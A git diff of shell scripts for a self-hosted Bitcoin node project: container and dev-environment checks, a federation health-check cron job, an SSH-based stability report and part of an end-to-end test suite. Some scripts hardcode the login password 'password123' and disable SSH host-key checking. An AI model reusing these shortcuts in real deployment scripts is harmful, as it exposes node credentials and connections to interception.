set -e
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
|
||||
echo "🐳 Archipelago Development Container Environment"
|
||||
echo ""
|
||||
|
||||
# Check for Podman
|
||||
PODMAN_AVAILABLE=false
|
||||
if command -v podman >/dev/null 2>&1; then
|
||||
PODMAN_VERSION=$(podman --version)
|
||||
echo "✅ Podman found: $PODMAN_VERSION"
|
||||
if podman info >/dev/null 2>&1; then
|
||||
PODMAN_AVAILABLE=true
|
||||
echo " Podman daemon is running"
|
||||
else
|
||||
echo " ⚠️ Podman daemon not running"
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
echo " Start with: podman machine start"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo "❌ Podman not found"
|
||||
fi
|
||||
|
||||
# Check for Docker
|
||||
DOCKER_AVAILABLE=false
|
||||
if command -v docker >/dev/null 2>&1; then
|
||||
DOCKER_VERSION=$(docker --version)
|
||||
echo "✅ Docker found: $DOCKER_VERSION"
|
||||
if docker info >/dev/null 2>&1; then
|
||||
DOCKER_AVAILABLE=true
|
||||
echo " Docker daemon is running"
|
||||
else
|
||||
echo " ⚠️ Docker daemon not running"
|
||||
echo " Start Docker Desktop or: sudo systemctl start docker"
|
||||
fi
|
||||
else
|
||||
echo "❌ Docker not found"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
# Determine runtime
|
||||
RUNTIME="auto"
|
||||
if [ "$PODMAN_AVAILABLE" = true ]; then
|
||||
RUNTIME="podman"
|
||||
echo "🎯 Using Podman (preferred)"
|
||||
elif [ "$DOCKER_AVAILABLE" = true ]; then
|
||||
RUNTIME="docker"
|
||||
echo "🎯 Using Docker (fallback)"
|
||||
else
|
||||
echo "❌ No container runtime available!"
|
||||
echo " Install Podman: https://podman.io/getting-started/installation"
|
||||
echo " Or install Docker: https://docs.docker.com/get-docker/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "📋 Helper Commands:"
|
||||
echo ""
|
||||
echo "List containers:"
|
||||
echo " $RUNTIME ps -a"
|
||||
echo ""
|
||||
echo "View container logs:"
|
||||
echo " $RUNTIME logs <container-name>"
|
||||
echo ""
|
||||
echo "Stop all archipelago containers:"
|
||||
echo " $RUNTIME ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r $RUNTIME stop"
|
||||
echo ""
|
||||
echo "Remove all archipelago containers:"
|
||||
echo " $RUNTIME ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r $RUNTIME rm -f"
|
||||
echo ""
|
||||
echo "Clean up dev data:"
|
||||
echo " rm -rf /tmp/archipelago-dev"
|
||||
echo ""
|
||||
echo "Start backend with containers:"
|
||||
echo " cd $PROJECT_ROOT/core"
|
||||
echo " ARCHIPELAGO_DEV_MODE=true \\"
|
||||
echo " ARCHIPELAGO_CONTAINER_RUNTIME=$RUNTIME \\"
|
||||
echo " ARCHIPELAGO_PORT_OFFSET=10000 \\"
|
||||
echo " ARCHIPELAGO_BITCOIN_SIMULATION=mock \\"
|
||||
echo " cargo run --bin archipelago"
|
||||
echo ""
|
||||
@@ -1,94 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Development environment setup script
|
||||
# Installs dependencies and sets up development environment
|
||||
|
||||
set -e
|
||||
|
||||
echo "🚀 Setting up Archipelago development environment..."
|
||||
|
||||
# Check prerequisites
|
||||
echo "📋 Checking prerequisites..."
|
||||
|
||||
command -v rustc >/dev/null 2>&1 || { echo "❌ Rust is required. Install from https://rustup.rs/"; exit 1; }
|
||||
command -v node >/dev/null 2>&1 || { echo "❌ Node.js is required. Install from https://nodejs.org/"; exit 1; }
|
||||
command -v cargo >/dev/null 2>&1 || { echo "❌ Cargo is required. Install Rust toolchain."; exit 1; }
|
||||
|
||||
echo "✅ Prerequisites check passed"
|
||||
|
||||
# Get project root (assumes script is in scripts/)
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
|
||||
echo "📁 Project root: $PROJECT_ROOT"
|
||||
|
||||
# Check if we're in the right directory structure
|
||||
if [ ! -d "$PROJECT_ROOT/core" ] && [ ! -d "$PROJECT_ROOT/neode-ui" ]; then
|
||||
echo "⚠️ Warning: This script expects to be run from the Archipelago workspace."
|
||||
echo " If you're working with Code/Archipelago, you may need to adjust paths."
|
||||
read -p "Continue anyway? (y/n) " -n 1 -r
|
||||
echo
|
||||
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Setup frontend
|
||||
if [ -d "$PROJECT_ROOT/neode-ui" ]; then
|
||||
echo "📦 Setting up frontend..."
|
||||
cd "$PROJECT_ROOT/neode-ui"
|
||||
if [ ! -d "node_modules" ]; then
|
||||
npm install
|
||||
else
|
||||
echo " node_modules already exists, skipping install"
|
||||
fi
|
||||
else
|
||||
echo "⚠️ neode-ui directory not found, skipping frontend setup"
|
||||
fi
|
||||
|
||||
# Setup backend
|
||||
if [ -d "$PROJECT_ROOT/core" ]; then
|
||||
echo "🔧 Setting up backend..."
|
||||
cd "$PROJECT_ROOT/core"
|
||||
|
||||
# Check if Cargo.toml exists
|
||||
if [ -f "Cargo.toml" ]; then
|
||||
echo " Fetching Rust dependencies..."
|
||||
cargo fetch
|
||||
else
|
||||
echo "⚠️ Cargo.toml not found in core/, skipping backend setup"
|
||||
fi
|
||||
else
|
||||
echo "⚠️ core directory not found, skipping backend setup"
|
||||
fi
|
||||
|
||||
# Check for Podman (optional)
|
||||
if command -v podman >/dev/null 2>&1; then
|
||||
echo "✅ Podman found: $(podman --version)"
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
if ! podman machine list | grep -q "running"; then
|
||||
echo "⚠️ Podman machine not running. Start with: podman machine start"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo "⚠️ Podman not found (optional, needed for container features)"
|
||||
echo " Install: https://podman.io/getting-started/installation"
|
||||
fi
|
||||
|
||||
# Check for PostgreSQL (optional)
|
||||
if command -v psql >/dev/null 2>&1; then
|
||||
echo "✅ PostgreSQL found: $(psql --version)"
|
||||
else
|
||||
echo "⚠️ PostgreSQL not found (optional, needed for backend database)"
|
||||
echo " Install: https://www.postgresql.org/download/"
|
||||
echo " Or use Docker: docker run -d --name postgres -e POSTGRES_PASSWORD=dev -p 5432:5432 postgres:15"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "✅ Development environment setup complete!"
|
||||
echo ""
|
||||
echo "Next steps:"
|
||||
echo " 1. Start backend: cd core && cargo run --bin startbox"
|
||||
echo " 2. Start frontend: cd neode-ui && npm run dev"
|
||||
echo ""
|
||||
echo "Or use the mock backend for UI-only development:"
|
||||
echo " cd neode-ui && npm run dev:mock"
|
||||
+2
-17
@@ -64,24 +64,9 @@ case $choice in
|
||||
lsof -ti:8100 | xargs kill -9 2>/dev/null || true
|
||||
sleep 1
|
||||
|
||||
# Start Docker containers first
|
||||
# Mock backend simulates apps — Docker containers optional
|
||||
echo ""
|
||||
echo " 🐳 Starting Docker containers..."
|
||||
if [ -f "$PROJECT_ROOT/start-docker-apps.sh" ]; then
|
||||
bash "$PROJECT_ROOT/start-docker-apps.sh"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "❌ Failed to start Docker containers."
|
||||
echo " You can continue without Docker, but apps won't be available."
|
||||
read -p " Continue anyway? (y/N) " -n 1 -r
|
||||
echo ""
|
||||
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo "⚠️ start-docker-apps.sh not found, skipping Docker startup."
|
||||
echo " Apps will not be available."
|
||||
fi
|
||||
echo " ℹ️ Mock backend will simulate apps (Docker containers optional)"
|
||||
|
||||
echo ""
|
||||
# Check if backend can build
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Quick dev script - just starts the mock backend for UI development
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
FRONTEND_DIR="$PROJECT_ROOT/neode-ui"
|
||||
|
||||
if [ ! -d "$FRONTEND_DIR" ]; then
|
||||
echo "❌ Frontend directory not found: $FRONTEND_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "📁 Using: $FRONTEND_DIR"
|
||||
cd "$FRONTEND_DIR"
|
||||
|
||||
# Kill any existing processes on ports 5959 and 8100
|
||||
echo "🧹 Cleaning up ports 5959 and 8100..."
|
||||
lsof -ti:5959 | xargs kill -9 2>/dev/null || true
|
||||
lsof -ti:8100 | xargs kill -9 2>/dev/null || true
|
||||
sleep 1
|
||||
|
||||
# Check if node_modules exists
|
||||
if [ ! -d "node_modules" ]; then
|
||||
echo "⚠️ Installing dependencies..."
|
||||
npm install
|
||||
fi
|
||||
|
||||
# Check if mock-backend.js exists
|
||||
if [ ! -f "mock-backend.js" ]; then
|
||||
echo "❌ mock-backend.js not found in $FRONTEND_DIR"
|
||||
echo " Make sure you're using the correct project directory"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "🚀 Starting frontend with mock backend..."
|
||||
echo " (Press Ctrl+C to stop)"
|
||||
echo ""
|
||||
npm run dev:mock
|
||||
@@ -1,109 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# federation-health-check.sh — Track federation and DWN sync state
|
||||
#
|
||||
# Runs every 5 minutes via cron. Records peer online/offline state,
|
||||
# federation sync results, and DWN sync status to CSV.
|
||||
#
|
||||
# Install: */5 * * * * /opt/archipelago/scripts/federation-health-check.sh
|
||||
#
|
||||
# Output: /var/lib/archipelago/federation-health/
|
||||
# - checks.csv: timestamp, peer_onion, peer_online, sync_ok, dwn_status
|
||||
# - summary.json: aggregate stats
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
LOG_DIR="/var/lib/archipelago/federation-health"
|
||||
LOG_FILE="$LOG_DIR/checks.csv"
|
||||
RPC_URL="http://localhost:5678/rpc/v1"
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
|
||||
# Write CSV header if file doesn't exist
|
||||
if [ ! -f "$LOG_FILE" ]; then
|
||||
echo "timestamp,peer_count,peers_online,peers_offline,dwn_sync_status,dwn_messages_synced,federation_ok,error" > "$LOG_FILE"
|
||||
fi
|
||||
|
||||
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
|
||||
|
||||
# RPC helper (unauthenticated — system.stats doesn't need auth, but federation does)
|
||||
# Login first
|
||||
LOGIN_RESP=$(curl -s -c /tmp/fed-health-cookies http://localhost:5678/rpc/v1 \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}' 2>/dev/null || echo '{}')
|
||||
CSRF=$(grep csrf_token /tmp/fed-health-cookies 2>/dev/null | awk '{print $NF}')
|
||||
|
||||
rpc() {
|
||||
curl -s --max-time 30 -b /tmp/fed-health-cookies \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-X POST "$RPC_URL" \
|
||||
-d "{\"method\":\"$1\"}" 2>/dev/null || echo '{"result":null,"error":{"message":"RPC timeout"}}'
|
||||
}
|
||||
|
||||
rpc_params() {
|
||||
curl -s --max-time 30 -b /tmp/fed-health-cookies \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-X POST "$RPC_URL" \
|
||||
-d "{\"method\":\"$1\",\"params\":$2}" 2>/dev/null || echo '{"result":null,"error":{"message":"RPC timeout"}}'
|
||||
}
|
||||
|
||||
# Get federation node list
|
||||
FED_RESP=$(rpc "federation.list-nodes")
|
||||
FED_ERR=$(echo "$FED_RESP" | python3 -c "import sys,json; e=json.load(sys.stdin).get('error'); print(e.get('message','') if e else '')" 2>/dev/null)
|
||||
|
||||
if [ -n "$FED_ERR" ]; then
|
||||
echo "$TIMESTAMP,0,0,0,error,0,false,$FED_ERR" >> "$LOG_FILE"
|
||||
else
|
||||
PEER_COUNT=$(echo "$FED_RESP" | python3 -c "import sys,json; print(len(json.load(sys.stdin).get('result',{}).get('nodes',[])))" 2>/dev/null)
|
||||
PEERS_ONLINE=$(echo "$FED_RESP" | python3 -c "
|
||||
import sys, json, datetime
|
||||
nodes = json.load(sys.stdin).get('result', {}).get('nodes', [])
|
||||
online = 0
|
||||
for n in nodes:
|
||||
ls = n.get('last_seen', '')
|
||||
if ls:
|
||||
try:
|
||||
dt = datetime.datetime.fromisoformat(ls.replace('Z', '+00:00'))
|
||||
if (datetime.datetime.now(datetime.timezone.utc) - dt).total_seconds() < 600:
|
||||
online += 1
|
||||
except:
|
||||
pass
|
||||
print(online)
|
||||
" 2>/dev/null)
|
||||
PEERS_OFFLINE=$((PEER_COUNT - PEERS_ONLINE))
|
||||
|
||||
# Get DWN sync status
|
||||
DWN_RESP=$(rpc "dwn.status")
|
||||
DWN_STATUS=$(echo "$DWN_RESP" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('sync_status','unknown'))" 2>/dev/null)
|
||||
DWN_SYNCED=$(echo "$DWN_RESP" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('messages_synced',0))" 2>/dev/null)
|
||||
|
||||
echo "$TIMESTAMP,$PEER_COUNT,$PEERS_ONLINE,$PEERS_OFFLINE,$DWN_STATUS,$DWN_SYNCED,true," >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
# Generate summary report
|
||||
TOTAL_CHECKS=$(wc -l < "$LOG_FILE")
|
||||
TOTAL_CHECKS=$((TOTAL_CHECKS - 1))
|
||||
|
||||
if [ "$TOTAL_CHECKS" -gt 0 ]; then
|
||||
FED_OK=$(grep -c ",true," "$LOG_FILE" 2>/dev/null || echo "0")
|
||||
FED_PCT=$(python3 -c "print(round($FED_OK / $TOTAL_CHECKS * 100, 2))" 2>/dev/null || echo "0")
|
||||
|
||||
# Count checks where all peers were online
|
||||
ALL_ONLINE=$(awk -F, 'NR>1 && $4==0 {count++} END {print count+0}' "$LOG_FILE")
|
||||
ALL_ONLINE_PCT=$(python3 -c "print(round($ALL_ONLINE / $TOTAL_CHECKS * 100, 2))" 2>/dev/null || echo "0")
|
||||
|
||||
cat > "$LOG_DIR/summary.json" << EOF
|
||||
{
|
||||
"start": "$(head -2 "$LOG_FILE" | tail -1 | cut -d',' -f1)",
|
||||
"last_check": "$TIMESTAMP",
|
||||
"total_checks": $TOTAL_CHECKS,
|
||||
"federation_ok_count": $FED_OK,
|
||||
"federation_success_rate": $FED_PCT,
|
||||
"all_peers_online_count": $ALL_ONLINE,
|
||||
"all_peers_online_rate": $ALL_ONLINE_PCT,
|
||||
"current_peer_count": ${PEER_COUNT:-0},
|
||||
"current_peers_online": ${PEERS_ONLINE:-0}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
@@ -1,124 +0,0 @@
|
||||
#!/bin/bash
|
||||
# generate-stability-report.sh — Compile stability report from monitoring data
|
||||
# Run after 30-day soak test period
|
||||
# Usage: ./scripts/generate-stability-report.sh [TARGET_IP]
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
SSH_KEY="${HOME}/.ssh/archipelago-deploy"
|
||||
SSH_OPTS="-i ${SSH_KEY} -o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
|
||||
echo "╔════════════════════════════════════════════════════════════════╗"
|
||||
echo "║ Archipelago Stability Report ║"
|
||||
echo "╚════════════════════════════════════════════════════════════════╝"
|
||||
echo ""
|
||||
echo "Node: ${TARGET}"
|
||||
echo "Generated: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo ""
|
||||
|
||||
# Uptime metrics
|
||||
echo "═══ Uptime Metrics ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
if [ -f /var/lib/archipelago/uptime-monitor/metrics.csv ]; then
|
||||
TOTAL=\$(tail -n +2 /var/lib/archipelago/uptime-monitor/metrics.csv | wc -l)
|
||||
OK=\$(grep -c ',200,' /var/lib/archipelago/uptime-monitor/metrics.csv 2>/dev/null || echo 0)
|
||||
if [ \$TOTAL -gt 0 ]; then
|
||||
PCT=\$(python3 -c \"print(round(\$OK / \$TOTAL * 100, 3))\" 2>/dev/null || echo '?')
|
||||
echo \" Total checks: \$TOTAL\"
|
||||
echo \" Healthy: \$OK\"
|
||||
echo \" Uptime: \${PCT}%\"
|
||||
FIRST=\$(head -2 /var/lib/archipelago/uptime-monitor/metrics.csv | tail -1 | cut -d, -f1)
|
||||
LAST=\$(tail -1 /var/lib/archipelago/uptime-monitor/metrics.csv | cut -d, -f1)
|
||||
echo \" Period: \$FIRST to \$LAST\"
|
||||
fi
|
||||
else
|
||||
echo ' No uptime data found'
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# Reboot test results
|
||||
echo "═══ Daily Reboot Tests ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
if [ -f /var/lib/archipelago/monitoring/reboot-test.csv ]; then
|
||||
REBOOTS=\$(grep -c ',reboot,' /var/lib/archipelago/monitoring/reboot-test.csv 2>/dev/null || echo 0)
|
||||
VERIFIED=\$(grep -c ',verify,' /var/lib/archipelago/monitoring/reboot-test.csv 2>/dev/null || echo 0)
|
||||
OK=\$(grep ',verify,.*,OK,' /var/lib/archipelago/monitoring/reboot-test.csv 2>/dev/null | wc -l || echo 0)
|
||||
if [ \$VERIFIED -gt 0 ]; then
|
||||
AVG=\$(grep ',verify,' /var/lib/archipelago/monitoring/reboot-test.csv | awk -F, '{sum+=\$7; n++} END {if(n>0) print int(sum/n); else print 0}')
|
||||
echo \" Total reboots: \$REBOOTS\"
|
||||
echo \" Verified recoveries: \$VERIFIED\"
|
||||
echo \" Successful: \$OK\"
|
||||
echo \" Avg recovery time: \${AVG}s\"
|
||||
fi
|
||||
else
|
||||
echo ' No reboot test data (starts at 4 AM daily)'
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# Federation sync
|
||||
echo "═══ Federation Sync ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
if [ -f /var/lib/archipelago/monitoring/sync-check.csv ]; then
|
||||
TOTAL=\$(tail -n +2 /var/lib/archipelago/monitoring/sync-check.csv | wc -l)
|
||||
OK=\$(awk -F, '\$2 > 0' /var/lib/archipelago/monitoring/sync-check.csv | wc -l)
|
||||
if [ \$TOTAL -gt 0 ]; then
|
||||
PCT=\$(python3 -c \"print(round(\$OK / \$TOTAL * 100, 1))\" 2>/dev/null || echo '?')
|
||||
echo \" Total syncs: \$TOTAL\"
|
||||
echo \" Successful: \$OK\"
|
||||
echo \" Success rate: \${PCT}%\"
|
||||
fi
|
||||
else
|
||||
echo ' No sync data yet'
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# Memory trend
|
||||
echo "═══ Memory Trend ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
if [ -f /var/lib/archipelago/uptime-monitor/metrics.csv ]; then
|
||||
echo ' First reading:'
|
||||
head -2 /var/lib/archipelago/uptime-monitor/metrics.csv | tail -1 | awk -F, '{printf \" %s: %s/%s MB used\\n\", \$1, \$7, \$8}'
|
||||
echo ' Latest reading:'
|
||||
tail -1 /var/lib/archipelago/uptime-monitor/metrics.csv | awk -F, '{printf \" %s: %s/%s MB used\\n\", \$1, \$7, \$8}'
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# Disk trend
|
||||
echo "═══ Disk Trend ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
if [ -f /var/lib/archipelago/uptime-monitor/metrics.csv ]; then
|
||||
echo ' First reading:'
|
||||
head -2 /var/lib/archipelago/uptime-monitor/metrics.csv | tail -1 | awk -F, '{printf \" %s: %s/%s GB\\n\", \$1, \$9, \$10}'
|
||||
echo ' Latest reading:'
|
||||
tail -1 /var/lib/archipelago/uptime-monitor/metrics.csv | awk -F, '{printf \" %s: %s/%s GB\\n\", \$1, \$9, \$10}'
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# Container health
|
||||
echo "═══ Container Health ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
DOCKER=podman; command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
RUNNING=\$(sudo \$DOCKER ps --format '{{.Names}}' 2>/dev/null | wc -l)
|
||||
EXITED=\$(sudo \$DOCKER ps -a --filter status=exited --format '{{.Names}}' 2>/dev/null | wc -l)
|
||||
echo \" Running: \$RUNNING\"
|
||||
echo \" Exited: \$EXITED\"
|
||||
if [ \$EXITED -gt 0 ]; then
|
||||
echo ' Exited containers:'
|
||||
sudo \$DOCKER ps -a --filter status=exited --format ' {{.Names}}: {{.Status}}' 2>/dev/null
|
||||
fi
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
# OOM kills
|
||||
echo "═══ OOM Kills ═══"
|
||||
ssh $SSH_OPTS "archipelago@${TARGET}" "
|
||||
OOM=\$(sudo dmesg --level=err,crit 2>/dev/null | grep -c 'oom-kill' || echo 0)
|
||||
echo \" OOM kills since boot: \$OOM\"
|
||||
" 2>/dev/null
|
||||
echo ""
|
||||
|
||||
echo "═══ Report Complete ═══"
|
||||
@@ -1,479 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# E2E-01: Golden Path Test Suite
|
||||
# Automates the complete user journey on a live Archipelago node.
|
||||
# Usage: ./scripts/golden-path-test.sh [node-ip] [password]
|
||||
#
|
||||
# Tests: boot → login → identity → Bitcoin → LND → BTCPay → backup → verify
|
||||
# The restore step requires a fresh node and is documented at the end.
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
NODE="${1:-192.168.1.228}"
|
||||
BACKEND="http://${NODE}"
|
||||
PASS="${2:-password123}"
|
||||
PASS_COUNT=0
|
||||
FAIL_COUNT=0
|
||||
SKIP_COUNT=0
|
||||
SESSION=""
|
||||
CSRF=""
|
||||
|
||||
green() { printf "\033[32m PASS %s\033[0m\n" "$1"; }
|
||||
red() { printf "\033[31m FAIL %s\033[0m\n" "$1"; }
|
||||
yellow(){ printf "\033[33m SKIP %s\033[0m\n" "$1"; }
|
||||
header(){ printf "\n\033[1;36m━━━ %s ━━━\033[0m\n" "$1"; }
|
||||
|
||||
pass() { PASS_COUNT=$((PASS_COUNT + 1)); green "$1"; }
|
||||
fail() { FAIL_COUNT=$((FAIL_COUNT + 1)); red "$1"; }
|
||||
skip() { SKIP_COUNT=$((SKIP_COUNT + 1)); yellow "$1"; }
|
||||
|
||||
# Authenticated RPC call using our session
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-{}}"
|
||||
local timeout="${3:-15}"
|
||||
curl -s --max-time "$timeout" -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null || echo '{"error":{"message":"curl failed"}}'
|
||||
}
|
||||
|
||||
# Check if a JSON response has a result (no error)
|
||||
has_result() {
|
||||
echo "$1" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
if d.get('error') and d['error'].get('message'):
|
||||
sys.exit(1)
|
||||
except Exception:
|
||||
sys.exit(1)
|
||||
" 2>/dev/null
|
||||
}
|
||||
|
||||
# Check if a response is a rate-limit error
|
||||
is_rate_limited() {
|
||||
echo "$1" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
e = d.get('error', {})
|
||||
if e and e.get('code') == 429:
|
||||
sys.exit(0)
|
||||
except Exception:
|
||||
pass
|
||||
sys.exit(1)
|
||||
" 2>/dev/null
|
||||
}
|
||||
|
||||
# Extract a field from JSON
|
||||
json_field() {
|
||||
echo "$1" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
r = d.get('result', d)
|
||||
keys = '$2'.split('.')
|
||||
for k in keys:
|
||||
if isinstance(r, dict):
|
||||
r = r.get(k, '')
|
||||
else:
|
||||
r = ''
|
||||
break
|
||||
print(r)
|
||||
except Exception:
|
||||
print('')
|
||||
" 2>/dev/null
|
||||
}
|
||||
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Archipelago Golden Path Test Suite"
|
||||
echo " Target: $BACKEND"
|
||||
echo "=========================================="
|
||||
|
||||
# ─── Phase 1: Boot & Health ─────────────────────────────────────
|
||||
header "Phase 1: Boot & Health"
|
||||
|
||||
HEALTH=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' "$BACKEND/health" 2>/dev/null)
|
||||
if [ "$HEALTH" = "200" ]; then
|
||||
pass "Backend health endpoint responds 200"
|
||||
else
|
||||
fail "Backend health endpoint: HTTP $HEALTH"
|
||||
fi
|
||||
|
||||
UI=$(curl -s --max-time 10 -o /dev/null -w '%{http_code}' "$BACKEND/" 2>/dev/null)
|
||||
if [ "$UI" = "200" ] || [ "$UI" = "304" ]; then
|
||||
pass "Web UI loads (HTTP $UI)"
|
||||
else
|
||||
fail "Web UI: HTTP $UI"
|
||||
fi
|
||||
|
||||
# ─── Phase 2: Authentication ────────────────────────────────────
|
||||
header "Phase 2: Authentication"
|
||||
|
||||
LOGIN_HEADERS=$(curl -s --max-time 10 -D - -o /tmp/gp-login-body.json -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASS\"}}" 2>/dev/null)
|
||||
|
||||
SESSION=$(echo "$LOGIN_HEADERS" | sed -n 's/.*session=\([^;]*\).*/\1/p' | head -1)
|
||||
CSRF=$(echo "$LOGIN_HEADERS" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p' | head -1)
|
||||
|
||||
if [ -n "$SESSION" ] && [ -n "$CSRF" ]; then
|
||||
pass "Login successful, session + CSRF token received"
|
||||
else
|
||||
fail "Login failed — cannot continue"
|
||||
LOGIN_BODY=$(cat /tmp/gp-login-body.json 2>/dev/null)
|
||||
echo " Response: $LOGIN_BODY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Verify session works
|
||||
SYS_STATS=$(rpc "system.stats")
|
||||
if has_result "$SYS_STATS"; then
|
||||
pass "Session is valid (system.stats responds)"
|
||||
else
|
||||
fail "Session invalid — system.stats failed"
|
||||
fi
|
||||
|
||||
# ─── Phase 3: Identity (DID) ────────────────────────────────────
|
||||
header "Phase 3: Identity System"
|
||||
|
||||
ID_LIST=$(rpc "identity.list")
|
||||
if has_result "$ID_LIST"; then
|
||||
pass "identity.list responds"
|
||||
else
|
||||
fail "identity.list failed"
|
||||
fi
|
||||
|
||||
# Count identities
|
||||
ID_COUNT=$(echo "$ID_LIST" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
r = d.get('result', {})
|
||||
ids = r.get('identities', [])
|
||||
print(len(ids))
|
||||
except Exception:
|
||||
print(0)
|
||||
" 2>/dev/null || echo "0")
|
||||
if [ "$ID_COUNT" -gt "0" ] 2>/dev/null; then
|
||||
pass "Identity exists ($ID_COUNT found)"
|
||||
else
|
||||
CREATE_ID=$(rpc "identity.create" '{"name":"Golden Path Test","purpose":"personal"}')
|
||||
if has_result "$CREATE_ID"; then
|
||||
pass "Created test identity"
|
||||
else
|
||||
fail "Failed to create identity"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── Phase 4: Container List ────────────────────────────────────
|
||||
header "Phase 4: Container Status"
|
||||
|
||||
CONTAINERS=$(rpc "container-list")
|
||||
if has_result "$CONTAINERS"; then
|
||||
pass "container-list responds"
|
||||
CTR_COUNT=$(echo "$CONTAINERS" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
r = d.get('result', [])
|
||||
if isinstance(r, list):
|
||||
running = [c for c in r if c.get('state') == 'running']
|
||||
print(f'{len(running)}/{len(r)}')
|
||||
else:
|
||||
print('?')
|
||||
except Exception:
|
||||
print('?')
|
||||
" 2>/dev/null || echo "?")
|
||||
echo " Containers running: $CTR_COUNT"
|
||||
else
|
||||
fail "container-list failed"
|
||||
fi
|
||||
|
||||
# ─── Phase 5: Bitcoin Knots ─────────────────────────────────────
|
||||
header "Phase 5: Bitcoin Knots"
|
||||
|
||||
# Check if Bitcoin is running
|
||||
BTC_RUNNING=$(echo "$CONTAINERS" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
r = d.get('result', [])
|
||||
if isinstance(r, list):
|
||||
for c in r:
|
||||
if 'bitcoin' in c.get('name','').lower() and c.get('state') == 'running':
|
||||
print('yes')
|
||||
sys.exit(0)
|
||||
print('no')
|
||||
except Exception:
|
||||
print('no')
|
||||
" 2>/dev/null || echo "no")
|
||||
|
||||
if [ "$BTC_RUNNING" = "yes" ]; then
|
||||
pass "Bitcoin Knots is running"
|
||||
else
|
||||
skip "Bitcoin Knots not running (install test requires live node)"
|
||||
fi
|
||||
|
||||
# ─── Phase 6: Lightning (LND) ───────────────────────────────────
|
||||
